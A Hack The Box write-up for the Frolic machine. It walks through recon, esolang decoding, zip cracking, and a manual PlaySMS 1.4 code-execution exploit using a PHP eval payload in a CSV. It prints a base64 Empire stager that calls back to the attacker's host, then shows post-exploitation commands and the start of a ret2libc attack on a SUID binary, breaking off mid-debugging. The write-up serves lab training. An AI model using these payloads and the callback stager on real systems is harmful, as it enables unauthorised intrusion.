HTB{ Frolic }

Mar 23, 2019 | 29 minutes read

Tags: hack the box, binary exploitation, ret2libc, Empire

Frolic was an interesting box. It felt like a well thought out string of HTB Challenges where the solution to the current challenge led to the next. In my personal opinion, it’s not a bad approach to creating a box. Looking at felamos’s profile, almost every single challenge is complete. I’d hazard a guess that challenges are something felamos enjoys. I got a lot of enjoyment running through this box, kudos to felamos for a box that was simple enough to be fun yet not so simple that it was boring.




As usual, we start off with a masscan followed by a targeted nmap.

masscan -e tun0 -p 0-65535,U:0-65535 --rate 700 -oL masscan.

open tcp 22 1553130467
open tcp 445 1553130610
open tcp 9999 1553130624
open udp 137 1553130688
open tcp 1880 1553130693
open tcp 139 1553130729


nmap -sC -sT -sU -sV -oA nmap. -p 22,445,9999,137,1880,139

22/tcp   open   ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
137/tcp  closed netbios-ns
139/tcp  open   netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open   netbios-ssn  Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open   http         Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open   http         nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
22/udp   closed ssh
137/udp  open   netbios-ns   Samba nmbd netbios-ns (workgroup: WORKGROUP)
139/udp  closed netbios-ssn
445/udp  closed microsoft-ds
1880/udp closed vsat-control
9999/udp closed distinct
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -2h05m13s, deviation: 3h10m30s, median: -15m14s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2019-03-21T06:47:58+05:30
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-03-20 20:17:58
|_  start_date: N/A


An interesting thing happens when running recursive-gobuster against the webserver, there are two directories that continue looping in on themselves. Recursive forced browsing is useful on this target until the point where only the loop directories are being found. At that point, we can ctrl+c out of the loop.

recursive-gobuster.pyz -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x html -d

Trail of Breadcrumbs


Browsing to presents us with the following code.

..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... ..... 
..?.? !.?.. ..... ..... ....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! ..... ..... .!.!! !!!!! !!!!! 
!!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... ..... 
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?. ?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? 
!!!!! !!!!. ?.... ..... ..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... ..... .!?!! .?... ..... 
..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!! !.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!! 
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... ..... ....! .?... ..... ..... ..!?! !.?.. 
..... ..... ..?.? !.?.. !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!... 
..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! 
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... 
..... ..... ..!.. ..... ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. 
..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... ..... 
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ..... ..!.! !!!!! !.?. 

For many, Frolic was their first foray into esoteric programming languages, and understandably struggled with this step. The awesome-esolangs repo is a pretty good resource for esolangs, but we need to have a good idea of what we’re looking for before using it. Googling for esolang with exclamation points and question marks yields pretty good results. The second hit is’s ook-language page.

Taking a look on the ook-language page explains why ook is one of the top hits, but we don’t actually see Ook anywhere in the code. It turns out that the code can be “simplified” by removing the Ooks.


Now that we know that we’re working with ook, we can use the same page to execute our ook code and view the output.


As shown above, viewing the output points us to another page, let’s go!


When we browse to, we see the base64 encoded text below.


A quick copy and paste into a base64 decode command leaves us with an unknown file.

> BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
> K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
> EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
> AAAAAAEAAQBPAAAAAwEAAAAA' | base64 -d > frolic.decoded

file reports back that it’s a zip file.

file frolic.decoded

frolic.decoded: Zip archive data, at least v2.0 to extract

When attempting to unzip the file, we find that it’s password protected.

unzip frolic.decoded

Archive:  frolic.decoded
[frolic.decoded] index.php password: 
   skipping: index.php               incorrect password

Let’s fix that. fcrackzip is a great tool for cracking password protected zip files.

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u frolic.decoded

PASSWORD FOUND!!!!: pw == password
fcrackzip options used:

    Use a dictionary 
    Name of dictionary
    Use unzip to decompress the file

It appears we could have just guessed the password, but learning new tools is never a bad thing. Let’s use the password and see what’s inside.

unzip frolic.decoded 

Archive:  frolic.decoded
[frolic.decoded] index.php password: password
  inflating: index.php

When we cat the contents, we see what looks to be a bunch of ascii hex.

cat index.php


We can use burp to decode the ascii hex to plain text. All we need to do is go to the Decoder tab, paste in our text, then click Decode as … and select ASCII hex.


After decoding the text, we’re left with some more base64 encoded data. Onward!


Another base64 decode command will get us another mystery file.

echo 'KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg=='|base64 -d > frolic.decoded.again

This time it’s just ascii, however it’s also another esolang. This time around it’s very easy to recognize; it’s brainfuck!

cat frolic.decoded.again 

+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>

A quick google search turns up a nice suite of online interpreters called Try It Online. We can use it to run our code.


This time, we’re shown what appears to be a password. We’ll hang onto it and view another one of the pages we found while running recursive-gobuster.


Browsing to displays another path for us, presumably our next step!


If we head to /playsms, we’re presented with a login.


Using the password we found and the default username for PlaySMS, we gain access to the playsms web application! PlaySMS’s default username is admin, making our creds admin:idkwhatispass.


playSMS 1.4 Exploit Without Metasploit


Now that we’re authenticated, let’s use searchsploit to check for known playSMS vulnerabilities. Since we don’t know the version, and google-fu determined that to find the version we need to query the database, we’ll try the first exploit exploit returned since it doesn’t appear to be tied to a particular version.

searchsploit playsms

------------------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                            |  Path
                                                                                          | (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------ ----------------------------------------
PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metasploit)        | exploits/php/remote/44598.rb
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload        | exploits/php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution                                          | exploits/php/webapps/42044.txt

We’re going to do things a bit different this time. Normally with a Metasploit module, we’d fire up msf and be off to the races. Instead, we’re going to perform the same steps the Metasploit module takes by hand and use Powershell Empire for post-exploitation.

For those that are either taking or plan to take their OSCP, reviewing Metasploit modules and performing the same steps manually is a great way to not use your only Meterpreter/Metasploit on a box where it’s not necessary.

Let’s pull up the source code; /usr/share/metasploit-framework/modules/exploits/multi/http/playsms_uploadcsv_exec.rb. The description states the following:

This module exploits an authenticated file upload remote code excution vulnerability in PlaySMS Version 1.4. This issue is caused by improper file contents handling in import.php (aka the Phonebook import feature). Authenticated Users can upload a CSV file containing a malicious payload via vectors involving the User-Agent HTTP header and PHP code in the User-Agent.

Based on the description, we’ll need to reproduce the malicious payload, upload it using the Phonebook import feature, and insert PHP code into the User-Agent header.

In the source, everything before line 161 is related to logging in and handling the CSRF token. That will all be handled by the browser for us and isn’t a concern. What we’re interested in starts on line 161.

161  # Payload.
162  evil = "<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>"
163  #making csv file body
164  final_csv = "Name,Email,Department\n"
165  final_csv << "#{evil},#{rand(1..100)},#{rand(1..100)}"

Here we have our csv file contents. Let’s use this and create our own.


<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>,epi,stuff

In addition to the csv, we can confirm that the actual payload (meterpreter or whatever is chosen) gets inserted into the User-Agent header.

173  # Lets Send Upload request.
174  res = send_request_cgi({
175    'uri' => normalize_uri(uri, 'index.php'),
176    'method' => 'POST',
177    'agent' => payload.encode,
178    'cookie' => cookies,
179    'vars_get' => Hash[{
180      'app' => 'main',
181      'inc' => 'feature_phonebook',
182      'route' => 'import',
183      'op' => 'import',
184    }.to_a.shuffle],
185    'headers' => {
186      'Upgrade-Insecure-Requests' => '1',
187    },  
188    'Connection' => 'close',
189    'data' => data,
190    'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
191  })  


We now understand how to do what needs to be done. Now we need to generate a payload. We’ll need to get Empire setup and running to do that. Empire is not installed on kali by default, let’s get it installed.

First, clone the repo.

git clone

Then run the install script as root.

cd Empire

Once the script completes, we can start Empire.


        ````:sdyyydy`         ```:mNNNNM
       ````-hmmdhdmm:`      ``.+hNNNNNNM

                Welcome to the Empire

Empire has a fundamentally different approach on how to interact with targets. While Metasploit favors interactive shells, Empire handles communication through Agents that periodically callback and pickup taskings. The taskings execute on target, then the results are passed back the next time the Agent checks in. The Quick Start documentation is a great place to pick up the basics of the framework.

Starting a Listener

First, we need a Listener for the Agents to which the Agent can callback. Typing listeners drops us into the listeners context menu.

Tab completion support is very good in Empire, don’t be afraid to use it

(Empire) > listeners
[!] No listeners currently active 
(Empire: listeners) > 

While in the listeners context, we can type uselistener and tab-complete a type of listener to use. We’ll use http.

(Empire: listeners) > uselistener 
dbx           http          http_com      http_foreign  http_hop      http_mapi     meterpreter   onedrive      redirector    
(Empire: listeners) > uselistener http
(Empire: listeners/http) > 

Typing info presents us with a lot of options we can configure.

(Empire: listeners/http) > info

    Name: HTTP[S]
Category: client_server


  Starts a http[s] listener (PowerShell or Python) that uses a
  GET/POST approach.

HTTP[S] Options:

  Name              Required    Value                            Description
  ----              --------    -------                          -----------
  SlackToken        False                                        Your SlackBot API token to communicate with your Slack instance.
  ProxyCreds        False       default                          Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
  KillDate          False                                        Date for the listener to exit (MM/dd/yyyy).
  Name              True        http                             Name for the listener.
  Launcher          True        powershell -noP -sta -w 1 -enc   Launcher string.
  DefaultDelay      True        5                                Agent delay/reach back interval (in seconds).
  DefaultLostLimit  True        60                               Number of missed checkins before exiting
  WorkingHours      False                                        Hours for the agent to operate (09:00-17:00).
  SlackChannel      False       #general                         The Slack channel or DM that notifications will be sent to.
  DefaultProfile    True        /admin/get.php,/news.php,/login/ Default communication profile for the agent.
                                process.php|Mozilla/5.0 (Windows
                                NT 6.1; WOW64; Trident/7.0;
                                rv:11.0) like Gecko
  Host              True              Hostname/IP for staging.
  CertPath          False                                        Certificate path for https listeners.
  DefaultJitter     True        0.0                              Jitter in agent reachback interval (0.0-1.0).
  Proxy             False       default                          Proxy to use for request (default, none, or other).
  UserAgent         False       default                          User-agent string to use for the staging request (default, none, or other).
  StagingKey        True        5J9|V=>!j2;mpXPI]N7DLx*aW_+[&sw# Staging key for initial agent negotiation.
  BindIP            True                          The IP to bind to on the control server.
  Port              True        80                               Port for the listener.
  ServerVersion     True        Microsoft-IIS/7.5                Server header for the control server.
  StagerURI         False                                        URI for the stager. Must use /download/. Example: /download/stager.php

The only setting we need to update is the Host. We need to ensure it points to our HTB ip address.

(Empire: listeners/http) > set Host

Rerunning info confirms that we’ve properly updated the Host field.

(Empire: listeners/http) > info
  Host              True            Hostname/IP for staging.

Now, we can start the listener.

(Empire: listeners/http) > execute
[*] Starting listener 'http'
 * Serving Flask app "http" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off
[+] Listener successfully started!

Typing listeners again brings us back to the listeners context menu where we see our new listener listening.

(Empire: stager/multi/bash) > listeners

[*] Active listeners:

  Name              Module          Host                                 Delay/Jitter   KillDate
  ----              ------          ----                                 ------------   --------
  http              http                  5/0.0                      

Generating a Stager

Now we’ll need a Stager. The Stager is responsible for reaching back to the Listener to pickup and execute the second and third stages. Once it’s complete, the Agent will be running and we’ll be able to interact with it. In Metasploit terms, this is a staged payload. The Stager is what we’ll use in the User-Agent header.

As our first step, we’ll use the usestager command and tab complete it out to include multi/bash.

(Empire: listeners) > usestager 
multi/bash                osx/applescript           osx/launcher              osx/teensy                windows/ducky             windows/launcher_vbs      windows/teensy
multi/launcher            osx/application           osx/macho                 windows/backdoorLnkMacro  windows/hta               windows/launcher_xml      
multi/macro               osx/ducky                 osx/macro                 windows/bunny             windows/launcher_bat      windows/macro             
multi/pyinstaller         osx/dylib                 osx/pkg                   windows/csharp_exe        windows/launcher_lnk      windows/macroless_msword  
multi/war                 osx/jar                   osx/safari_launcher       windows/dll               windows/launcher_sct      windows/shellcode         
(Empire: listeners) > usestager multi/bash
(Empire: stager/multi/bash) > 

Let’s check info on our selected Stager.

(Empire: stager/multi/bash) > info

Name: BashScript

  Generates self-deleting Bash script to execute the
  Empire stage0 launcher.


  Name             Required    Value             Description
  ----             --------    -------           -----------
  Listener         True                          Listener to generate stager for.
  OutFile          False                         File to output Bash script to, otherwise
                                                 displayed on the screen.
  SafeChecks       True        True              Switch. Checks for LittleSnitch or a
                                                 SandBox, exit the staging process if
                                                 true. Defaults to True.
  Language         True        python            Language of the stager to generate.
  UserAgent        False       default           User-agent string to use for the staging
                                                 request (default, none, or other).

The only option we need to tweak here is to tie this Stager to our http Listener created earlier.

(Empire: stager/multi/bash) > set Listener http
(Empire: stager/multi/bash) > info
  Listener         True        http              Listener to generate stager for.

Now we can generate the Stager.

(Empire: stager/multi/bash) > generate
2echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMC4xMC4xNC4xNjo4MCc7dD0nL2xvZ2luL3Byb2Nlc3MucGhwJztyZXE9dXJsbGliMi5SZXF1ZXN0KHNlcnZlcit0KTsKcmVxLmFkZF9oZWFkZXIoJ1VzZXItQWdlbnQnLFVBKTsKcmVxLmFkZF9oZWFkZXIoJ0Nvb2tpZScsInNlc3Npb249TEtuRGN1VFlzN3k1aGUzUndmQm9iako0d3FRPSIpOwpwcm94eSA9IHVybGxpYjIuUHJveHlIYW5kbGVyKCk7Cm8gPSB1cmxsaWIyLmJ1aWxkX29wZW5lcihwcm94eSk7CnVybGxpYjIuaW5zdGFsbF9vcGVuZXIobyk7CmE9dXJsbGliMi51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJzVKOXxWPT4hajI7bXBYUEldTjdETHgqYVdfK1smc3cjJztTLGosb3V0PXJhbmdlKDI1NiksMCxbXQpmb3IgaSBpbiByYW5nZSgyNTYpOgogICAgaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KaT1qPTAKZm9yIGNoYXIgaW4gZGF0YToKICAgIGk9KGkrMSklMjU2CiAgICBqPShqK1NbaV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQogICAgb3V0LmFwcGVuZChjaHIob3JkKGNoYXIpXlNbKFNbaV0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ=='));" | /usr/bin/python &
3rm -f "$0"

We’re very close to the end, now we just need to incorporate our Stager into our exploit.

BurpSuite User-Agent Replace

To handle our User-Agent injection, we’ll use burp. In burp, we’ll head to the Proxy tab, then the Options sub-tab. We’ll scroll down until we see the section titled Match and Replace.


We’re going to use one of the existing Match and Replace rules to automatically change our normal User-Agent to one that includes our generated Stager.

Click on one of the entries where the Match column contains the string ^User-Agent.*$ and then click Edit.


We’re going to replace everything after User-Agent: with our the line in our Stager that begins with echo and ends with &. Basically, we only include line 2.


Click OK and then click the checkbox next to the altered rule to turn it on. Don’t point firefox at burp yet, since we don’t need to inject the header quite yet.


Putting it All Together

To put all the pieces together, we need to start by logging into with the creds admin:idkwhatispass. After that, we click My Account followed by Phonebook.


Then, we’ll click on the downward-arrow button.


Now we see the upload form for our malicious CSV we created earlier.


Before proceeding, get firefox pointed at burp’s proxy. My recommended way is to use FoxyProxy.


With firefox configured to send traffic to burp, we can finally click Browse to select our CSV and then click Import!

If all went well, in our Empire window, we should see some activity.

(Empire: stager/multi/bash) > [*] Sending PYTHON stager (stage 1) to
[*] Agent 64SDCKU7 from posted valid Python PUB key
[*] New agent 64SDCKU7 checked in
[+] Initial agent 64SDCKU7 from now active (Slack)
[*] Sending agent (stage 2) to 64SDCKU7 at
[!] strip_python_comments is deprecated and should not be used
(Empire: stager/multi/bash) > 

Noice! Our Stager called back to our Listener to upload and execute our Agent. Now we need to start interacting with our shiny new Agent. Similar to steps before, we need to jump to the agents context menu.

(Empire: stager/multi/bash) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 64SDCKU7 py       frolic            www-data                /usr/bin/python    3195   5/0.0    2019-03-22 08:48:25

Now it’s time to interact with our Agent.

(Empire: agents) > interact 64SDCKU7
(Empire: 64SDCKU7) > 

We can type help for a list of available commands.

(Empire: 64SDCKU7) > help

Agent Commands
agents            Jump to the agents menu.
back              Go back a menu.
cat               View the contents of a file
cd                Change an agent's active directory
clear             Clear out agent tasking.
creds             Display/return credentials from the database.
download          Task an agent to download a file.
exit              Task agent to exit.
help              Displays the help menu or syntax for particular commands.
info              Display information about this agent
jobs              Return jobs or kill a running job.
killdate          Get or set an agent's killdate (01/01/2016).
list              Lists all active agents (or listeners).
listeners         Jump to the listeners menu.
loadpymodule      Import zip file containing a .py module or package with an
lostlimit         Task an agent to display change the limit on lost agent detection
main              Go back to the main menu.
osx_screenshot    Use the python-mss module to take a screenshot, and save the image to the server. Not opsec safe
python            Task an agent to run a Python command.
pythonscript      Load and execute a python script
removerepo        Remove a repo
rename            Rename the agent.
resource          Read and execute a list of Empire commands from a file.
searchmodule      Search Empire module names/descriptions.
shell             Task an agent to use a shell command.
sleep             Task an agent to 'sleep interval [jitter]'
sysinfo           Task an agent to get system information.
upload            Task an agent to upload a file.
usemodule         Use an Empire Python module.
viewrepo          View the contents of a repo. if none is specified, all files will be returned
workinghours      Get or set an agent's working hours (9:00-17:00).

info will show us some detailed information about our Agent.

(Empire: 64SDCKU7) > info

[*] Agent info:

	nonce           	8437475023930078
	jitter          	0.0
	servers         	None
	session_key     	�j�4+3
��];�|:�lġׁ��Ƥ30                       �;n;
	children        	None
	checkin_time    	2019-03-22 08:45:31
	hostname        	frolic
	id              	1
	delay           	5
	username        	www-data
	parent          	None
	process_name    	/usr/bin/python
	listener        	http
	process_id      	3195
	profile         	/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT
                                6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
	os_details      	Linux,frolic,4.4.0-116-generic,#140-Ubuntu SMP Mon Feb 12 21:22:43 UTC
	lost_limit      	60
	taskings        	None
	name            	64SDCKU7
	language        	python
	session_id      	64SDCKU7
	lastseen_time   	2019-03-22 08:51:52
	language_version	2.7
	high_integrity  	0

We can use shell to run commands on target.

(Empire: 64SDCKU7) > shell id
[*] Tasked 64SDCKU7 to run TASK_SHELL
[*] Agent 64SDCKU7 tasked with task ID 4
(Empire: 64SDCKU7) > [*] Agent 64SDCKU7 returned results.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
 ..Command execution completed.
[*] Valid results returned by
(Empire: AKXW4PKZ) > shell cat /home/ayush/user.txt
[*] Tasked AKXW4PKZ to run TASK_SHELL
.[*] Agent AKXW4PKZ tasked with task ID 13
(Empire: AKXW4PKZ) > [*] Agent AKXW4PKZ returned results.
 ..Command execution completed.
[*] Valid results returned by

We’ve avoided use of msf (though we stole the exploitation technique from it) and got to play around with Empire, not too shabby for initial access.

\o/ - access level: www-data

Empire Enumeration


For fun, we can use Empire’s builtin linux privesc checker. The source code with comments for the underlying python can be found here. In order to run the module, we type usemodule and tab complete it out to find the module name.

(Empire: 64SDCKU7) > usemodule 
collection/linux/hashdump*                                            persistence/osx/mail
collection/linux/keylogger                                            privesc/linux/linux_priv_checker
collection/linux/mimipenguin*                                         privesc/linux/unix_privesc_check
collection/linux/pillage_user                                         privesc/multi/bashdoor
(Empire: 64SDCKU7) > usemodule privesc/linux/linux_priv_checker
(Empire: python/privesc/linux/linux_priv_checker) > 

We can pull up info on the module.

(Empire: python/privesc/linux/linux_priv_checker) > info

              Name: LinuxPrivChecker
            Module: python/privesc/linux/linux_priv_checker
        NeedsAdmin: False
         OpsecSafe: True
          Language: python
MinLanguageVersion: 2.6
        Background: False
   OutputExtension: None


  This script is intended to be executed locally ona Linux box
  to enumerate basic system info, and search for
  commonprivilege escalation vectors with pure python.

  For full comments and code:


  Name  Required    Value                     Description
  ----  --------    -------                   -----------
  Agent True        64SDCKU7                  Agent to run on.                        

The module doesn’t require any configuration on our end, so we can just execute it.

(Empire: python/privesc/linux/linux_priv_checker) > execute
[*] Tasked 64SDCKU7 to run TASK_CMD_WAIT
[*] Agent 64SDCKU7 tasked with task ID 5
[*] Tasked agent 64SDCKU7 to run module python/privesc/linux/linux_priv_checker

After a short amount of time, results are returned.

(Empire: python/privesc/linux/linux_priv_checker) > [*] Agent 64SDCKU7 returned results.


[+] Kernel
    Linux version 4.4.0-116-generic (buildd@lgw01-amd64-023) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #140-Ubuntu SMP Mon Feb 12 21:22:43 UTC 2018

[+] Hostname

A running log of all Agent actions are stored by Empire. Results of the module can be reviewed there later if desired.


lt downloads/64SDCKU7/agent.log 
-rw-r--r-- 1 root root 143293 Mar 22 09:12 downloads/64SDCKU7/agent.log

rop Binary

While perusing the module’s results, we see an interesting binary has the SUID bit set.

[+] SUID/SGID Files and Directories
    -rwsr-xr-x 1 root root 7480 Sep 25 00:59 /home/ayush/.binary/rop

Let’s use Empire to download it and check it out locally. To do that, we need to get back to interacting with our Agent.

(Empire: python/privesc/linux/linux_priv_checker) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 64SDCKU7 py       frolic            \www-data               /usr/bin/python    3195   5/0.0    2019-03-22 09:19:32

(Empire: agents) > interact 64SDCKU7
(Empire: 64SDCKU7) > 

Then we can download the binary.

(Empire: 64SDCKU7) > download /home/ayush/.binary/rop
[*] Tasked 64SDCKU7 to run TASK_DOWNLOAD
[*] Agent 64SDCKU7 tasked with task ID 6
(Empire: 64SDCKU7) > 
[*] Compressed size of rop download: 2 KB
[*] Final size of rop wrote: 7 KB
[+] Part of file rop from 64SDCKU7 saved
[*] Agent 64SDCKU7 returned results.
[*] Valid results returned by

The binary is stored in the same folder where agent.log is located.

lt downloads/64SDCKU7/
total 160
drwxr-xr-x 6 root root   4096 Mar 22 08:45 ..
-rw-r--r-- 1 root root   7480 Mar 22 09:20 rop
drwxr-xr-x 2 root root   4096 Mar 22 09:20 .
-rw-r--r-- 1 root root 143439 Mar 22 09:20 agent.log

Binary Exploitation

A SUID binary named rop is a pretty clear indicator that the intention is to perform binary exploitation. In order to exploit the rop binary, we’ll need to overwrite the Instruction Pointer (EIP). EIP contains the memory address of the next instruction to be executed. We need to overwrite EIP with a memory address that we control. Specifically, we’ll use a ret2libc attack where we overwrite EIP with the address of the system syscall, passing it the argument of /bin/sh to pop a shell. Let’s get started.


Before we begin, we need to know what countermeasures are in place. Let’s start with running PEDA’s checksec in gdb.

gdb -q rop
Reading symbols from rop...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

We can see that rop has a Non-eXecutable stack. The other piece of information we need is whether or not ASLR is on. For Linux systems, checking for ASLR is very simple. If the kernel is newer than version 2.6.12, we simply cat /proc/sys/kernel/randomize_va_space and view the results. Three are three possible values and are explained below:

  • 0 - Turn ASLR off. This is the default for architectures that don’t support ASLR, and when the kernel is booted with the norandmaps parameter.
  • 1 - Make the addresses of mmap(2) allocations, the stack, and the VDSO page randomized. Among other things, this means that shared libraries will be loaded at randomized addresses. The text segment of PIE-linked binaries will also be loaded at a randomized address. This value is the default if the kernel was configured with CONFIG_COMPAT_BRK.
  • 2 - Also support heap randomization. This value is the default if the kernel was not configured with CONFIG_COMPAT_BRK.

Let’s check what value the target is running.

(Empire: 64SDCKU7) > shell cat /proc/sys/kernel/randomize_va_space
[*] Tasked 64SDCKU7 to run TASK_SHELL
[*] Agent 64SDCKU7 tasked with task ID 7
(Empire: 64SDCKU7) > [*] Agent 64SDCKU7 returned results.
 ..Command execution completed.
[*] Valid results returned by

Based on the 0 returned, we now know that ASLR is turned off. That dramatically simplifies our exploit.


Our next step involves figuring out how to overflow whatever buffer is available to be overflown. Running the program normally is an excellent place to begin.

Running rop without arguments shows us how it expects to be run.

[*] Usage: program <message>

Running rop with five A’s echoes the result back to us. There doesn’t appear to be any other functionality to play with, so we can assume passing input on the commandline via the first positional argument is where we need to focus our efforts.

./rop AAAAA
[+] Message sent: AAAAA

Let’s build out a small loop to determine how many A’s we need to send to fill the buffer.

We’ll start with the seq command. seq START STEP END is the syntax, we want 20 iterations, starting at 10 and ending at 200. Each iteration should increment the number returned by 10.

seq 10 10 200


Then we’ll build our for loop.

for i in $(seq 10 10 200); do echo $i ; done


There’s no appreciable difference in the output, but now we can do additional things in the do block of our for loop.

Specifically, we’ll print the same number of A’s instead of just the number itself.

for i in $(seq 10 10 200); do python -c "print('A' * $i)" ; done


Finally, we’ll pass those A’s to rop. The additional echo on the end is strictly to enhance readability.

for i in $(seq 10 10 200); do ./rop $(python -c "print('A' * $i)") && echo ; done

[+] Message sent: AAAAAAAAAA
Segmentation fault
Segmentation fault

Check out the Additional Resources if either the for loop or $() syntax are unfamiliar

Now we know that 50 A’s or more will overflow the buffer.

Determine EIP Offset

Now that we know how many characters it will take to overflow the buffer, we need to figure out how many bytes it will take to reach the instruction pointer (EIP). To determine how many bytes of garbage we need to send before we get to EIP, we can utilize PEDA’s pattern_create to generate a non-repeating pattern.

gdb-peda$ pattern_create 60

 2EAX: 0x51 ('Q')
 3EBX: 0xffffcb10 --> 0x2 
 4ECX: 0x37 ('7')
 5EDX: 0xf7fa9890 --> 0x0 
 6ESI: 0xf7fa8000 --> 0x1d9d6c 
 7EDI: 0xf7fa8000 --> 0x1d9d6c 
